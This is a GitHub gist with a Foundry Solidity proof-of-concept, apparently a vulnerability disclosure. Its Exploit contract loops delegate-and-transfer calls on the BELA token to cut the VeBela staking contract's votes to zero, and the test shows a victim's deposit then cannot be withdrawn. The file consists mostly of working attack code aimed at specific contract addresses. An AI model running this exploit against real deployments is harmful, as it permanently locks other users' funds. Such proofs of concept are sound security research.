Skip to content

Instantly share code, notes, and snippets.

@MiloTruck
Last active June 21, 2023 07:25
Show Gist options
  • Save MiloTruck/2b89f8f762f1ed23eb860f96e2341fd7 to your computer and use it in GitHub Desktop.
Save MiloTruck/2b89f8f762f1ed23eb860f96e2341fd7 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Bela.sol";
contract Exploit {
function reduceVotes(Token bela, address target) external {
while (bela.getCurrentVotes(target) != 0) {
// Set target as delegate
bela.delegate(target);
// Get BELA from attacker
uint256 amount = bela.balanceOf(msg.sender);
if (bela.getCurrentVotes(target) < amount)
amount = bela.getCurrentVotes(target);
bela.transferFrom(msg.sender, address(this), amount);
// Set delegate to this contract; this removes votes from target
bela.delegate(address(this));
// Transfer BELA back to attacker to reset this contract's balance to 0
bela.transfer(msg.sender, bela.balanceOf(address(this)));
}
}
}
contract PermanentFreezingOfFunds_POC is Test {
BelaHelper BELA = BelaHelper(0x09090e22118b375f2c7b95420c04414E4bf68e1A);
IVeBela veBela = IVeBela(0x7fbdEb84D5966c1C325D8CB2E01593D74c9A41Cd);
address ATTACKER;
address VICTIM;
function setUp() public {
// Add public minting function to BELA contract
vm.etch(address(BELA), address(new BelaHelper()).code);
// Setup ATTACKER and VICTIM; give them both 10,000 BELA
ATTACKER = makeAddr("ATTACKER");
VICTIM = makeAddr("VICTIM");
BELA.mint(ATTACKER, 10_000e18);
BELA.mint(VICTIM, 10_000e18);
}
function testCanFreezeBELAInVeBelaContract() public {
// Victim deposits 10,000 BELA into VeBela contract
uint256 depositAmount = 10_000e18;
vm.prank(VICTIM);
BELA.approve(address(veBela), depositAmount);
vm.prank(VICTIM, VICTIM);
veBela.deposit(depositAmount);
// Deploy exploit contract
Exploit exploit = new Exploit();
// Attacker reduces VeBela contract's votes to 0
vm.startPrank(ATTACKER);
BELA.approve(address(exploit), type(uint256).max);
exploit.reduceVotes(Token(address(BELA)), address(veBela));
vm.stopPrank();
// VeBela contract now has 0 votes
assertEq(BELA.getCurrentVotes(address(veBela)), 0);
// Victim can't withdraw his deposited BELA
vm.prank(VICTIM);
vm.expectRevert();
veBela.withdraw(depositAmount); // reverts with "Arithmetic over/underflow" due to insufficient votes
}
}
contract BelaHelper is Token {
constructor() Token("", "", address(1)) {}
function mint(address to, uint256 amount) external {
__mint(to, amount);
}
}
interface IVeBela {
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment